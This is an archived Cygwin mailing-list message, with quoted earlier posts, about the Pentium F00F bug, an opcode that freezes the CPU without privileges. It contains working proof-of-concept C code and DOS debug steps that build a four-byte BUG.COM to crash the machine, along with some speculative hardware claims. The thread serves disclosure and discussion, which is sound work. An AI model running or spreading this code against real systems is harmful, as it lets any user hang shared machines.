This is the mail archive of the cygwin@sourceware.cygnus.com mailing list for the Cygwin project.
Index Nav: | [Date Index] [Subject Index] [Author Index] [Thread Index] | |
---|---|---|
Message Nav: | [Date Prev] [Date Next] | [Thread Prev] [Thread Next] |
Greetings to all parties interested in the
Pentium Bug.
First I'd like to say in
reguards to the best way to code this bug, (Chris from Qualcomm)
I've attached the best way to code it. A 4 byte file
containing the 4 byte intruction, with the .COM extention.
I do not know the equivalent way to directly send instructions
to the CPU in Linux/Unix/etc.
Also, Intel has released the fact that they have a
"backdoor" way of accessing/reprogramming/patching the processor that
they can access to issue a software patch, so if you think they're going to give
you a new processor, think again.
For those who do not know what the pentium bug is, first you
must understand that the processor usually catches all invalid commands that are
issued and calls an Exception 6 or INT 6. This interrupt vector can be captured
by the Windows OS or any other DOS program that handles these kind of errors (ie
QEMM). However, the instuction F0 0F C7 C8, (god knows why) is NOT trapped by
the processor. If an error is not trapped before it gets to the Execution Unit,
the results of what may happen are undefined. In most cases the computer will
"crash" either by the processor putting itself into the double fault
state (?) or the halt state (?) or just totally doing random undefined weird
things. My processor knowlage is limited for all processors above 80386SX except
for the K5 and the K6, so I'm not sure if the states are vaild any more (I know
HLT still works though). In any case, because this instruction is not valid it
does not belong to and of the rings of protection levels around the CPU and
therefore even the lowest application program can execute the instruction.
As for the question
I dont know if it only affects pentium
chips or ppro and pII as well.
No it does not. Those chips are based on a totally different
design (8086 to RISC) than the original pentium processor.
Also because of the fact that it was based on (somewhat) but
not directly copied from the pentium (there are many differences), the AMD K5 is
not affected by the bug (of course), and neither is the K6
(RISC86)
To return to one of the biggest questions, "How do I
implement the bug ?". I'm sure you only want to know for testing purposes.
:)
char code [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
void main(void) { void (*bug)() = code; bug(); } Is one of the ways I thought of doing it, and I
noticed it's the same as one included below.
However this method will
work just as well, and it never occured to me to try this....
long main[] = { 0xc8c70ff0 };
Much easier. However if you are in DOS you can
use DOS's debug. Type the following at a DOS prompt to activate the
bug.
starting at something like
C:\>
type this
debug
E 100 F0 0F C7 C8
G
that should execute the bug code. If you want to
save it to a COM file do this
debug
E 100 F0 0F C7
C8
R CX
4
N BUG.COM
W
Q
Now you have a COM file named BUG.COM which when executed will
activate the bug (size 4 bytes)
Having little experiance with network security,
I do not know how this can be effectivly used to attack a computer.
BUT, before people start to freak out, this CANNOT be used to
crash people in HTTP (world wide web protocol) FTP EMAIL/SMTP/POP3 IRC or
anything else I can think of except a protocol which can automatically copy a
file onto your hard drive and then execute it. If there is such a protocol,
people would be using it to send you a real honest to god Virus, instead of some
little bug that just crashes your computer and requires you to reboot. If any
one recieveing this knows of such a method or has any other questions,
corrections, or comments mail me at coldfusion1@geocities.com. Also for
any computer programmers or computer science students this may be reaching,
please check out this page www.geocities.com/SiliconValley/Lakes/9367/.
Please continue to send this message out to the people on your
mailing lists but also help fight lame and fake chain messages from being passed
on through the net be refusing to foreward them to your friends. Stop The
Spam.
Bryan Talbot wrote:
> Hmm, this is not good. There is a recently discovered Pentium bug that > "halts" the entire machine and any user can perform the instruction. > Normally, if an illegal or privileged instruction is performed, the CPU > traps and lets the OS take control. For some reason though, there > appears to be an undocumented opcode that doesn't trap and essentially > performs a cpu halt. > > I can hear machines all over the country coming to a screeching halt > already ... > > I wonder how Intel is going to handle this one! > > Bryan > -- > ===================================================================== > NOTE: The most fundamental particles in this message are held > together by a "Gluing" force about which little is currently known > and whose adhesive power can therefore not be permanently guaranteed. > ===================================================================== > "I think not!" said Descartes, who promptly disappeared. > > ------------------------------------------------------------------------ > > > > Hiya'll, I just received this noted on the linux-smp list and I tried > it as well. Shure does lock up a machine fast. I ran the program as a > normal user. I only tried it on Linux though. You're welcome to try it > on another OS. It affects all OSes running on the Intel Pentum chips. > Bummer.... > > I dont know if it only affects pentium chips or ppro and pII as well. > Any one know? > -- > Marc C. > > ---------------Message-------------------------------------- > > Today I received the following from the linux-security list. I was > wondering if any of the kernel hackers here had anything to comment. > Especially concerning any possibility that the kernel could detect this > before the program gets executed. > Thanks in advance, > -M@ > > This morning I received this message from the list gnu-win32@cygnus.com: > The sender was anonymous > > > > > There is a SERIOUS bug in all pentium CPUs. The following > > code will crash any machine running on a pentium CPU, MMX or no > > MMX, any speed, regardless of OS (crash as in instant seize, hard > > reboot the only cure): > > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > > > main () > > { > > void (*f)() = x; > > f(); > > } > > > > This require no special permissions to run, it works fine with > > average-joe-userspace permissions. I have verified this, it works. > > Demand a new CPU from Intel. > > > > Curious, I compiled that under Linux OS. Linux freezed. Dead. > Without *any* warning. > > My machine is a Genuine Intel 166 MHZ Pentium MMX. > > Then I rebooted Windows NT. Compiled it with my compiler system > (lcc-win32). Windows NT freezed. DEAD. Without *any* warning. > > Then, I ported the code to my old faithful 486-DX33 with linux. Compiled > it. When it run it traps with 'illegal instruction' > > This means that anybody can crash anytime any OS that runs under a > Pentium CPU. As the poster said, no special permissions are needed, the > pentium runs under ring 3 permissions!!!! > > This means that no secure system can ever be built that uses the pentium > CPU. No protected system. The OS receives NO TRAP!!! > > This is absolutely incredible. > > Bugs are impossible to avoid. Not even with huge corporations like > Intel. I will *not* start screaming at Intel now. Myself, I have done > more bugs than Intel ever will. As somene said before: > > Those that are free of sin, throw the first stone... > > For any user of pentium cpus in a multiuser system this means that > anybody that can execute a program can freeze the system dead. I repeat: > NO ROOT PERMISSIONS ARE NEEDED. > -- > Jacob Navia Logiciels/Informatique > 41 rue Maurice Ravel Tel (1) 48.23.51.44 > 93430 Villetaneuse Fax (1) 48.23.95.39 > France > > -- > ---------------------------------------------------------------------- > Please refere to the information about this list as well as general > information about Linux security at http://www.aoy.com/Linux/Security. > ---------------------------------------------------------------------- > > > > Hi, > on my PPRO 200 the prog only gives Illegal Instruction. > I compiled the following under Linux 2.0: > > char x [5] = {0xf0, 0x0f, 0xc7, 0xc8}; > > int main () > { > void (*f)() = (void (*)())x; > f(); > } > > Bye, > Martin. > > > There is a SERIOUS bug in all pentium CPUs. The following > > code will crash any machine running on a pentium CPU, MMX or no > > MMX, any speed, regardless of OS (crash as in instant seize, hard > > reboot the only cure): > > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > > > main () > > { > > void (*f)() = x; > > f(); > > } > > > > Martin Kahlert (martin.kahlert@keksy.mchp.siemens.de) wrote: > : Hi, > : on my PPRO 200 the prog only gives Illegal Instruction. > : I compiled the following under Linux 2.0: > > : char x [5] = {0xf0, 0x0f, 0xc7, 0xc8}; > : > : int main () > : { > : void (*f)() = (void (*)())x; > : f(); > : } > > I've heard that the above code doesn't work on some P5's either. The > following does: > > long main[] = { 0xc8c70ff0 }; > > Let's see who can come up with the most elagent C code for doing this? > > -- > -- mark heath - Unix System Programmer/Engineer - Netspace Online Systems. > -- http://www.netspace.net.au/ [Personal /~mheath] > :wq > > Regards, > Christopher > > ------------------------------------------------------------------------------ > | This space for rent! > | > > ------------------------------------------------------------------------------ > | Christopher R. Wingert Senior Software Engineer > | > | cwingert@qualcomm.com Phone (619) 658-4428 > | > | http://www.qualcomm.com/~cwingert Fax (619) 658-2113 > | > > ------------------------------------------------------------------------------ > | They say the empty can rattles the most, the sound of your own voice must > | > | soothe you --James Hetfield > | > > ------------------------------------------------------------------------------ |
Index Nav: | [Date Index] [Subject Index] [Author Index] [Thread Index] | |
---|---|---|
Message Nav: | [Date Prev] [Date Next] | [Thread Prev] [Thread Next] |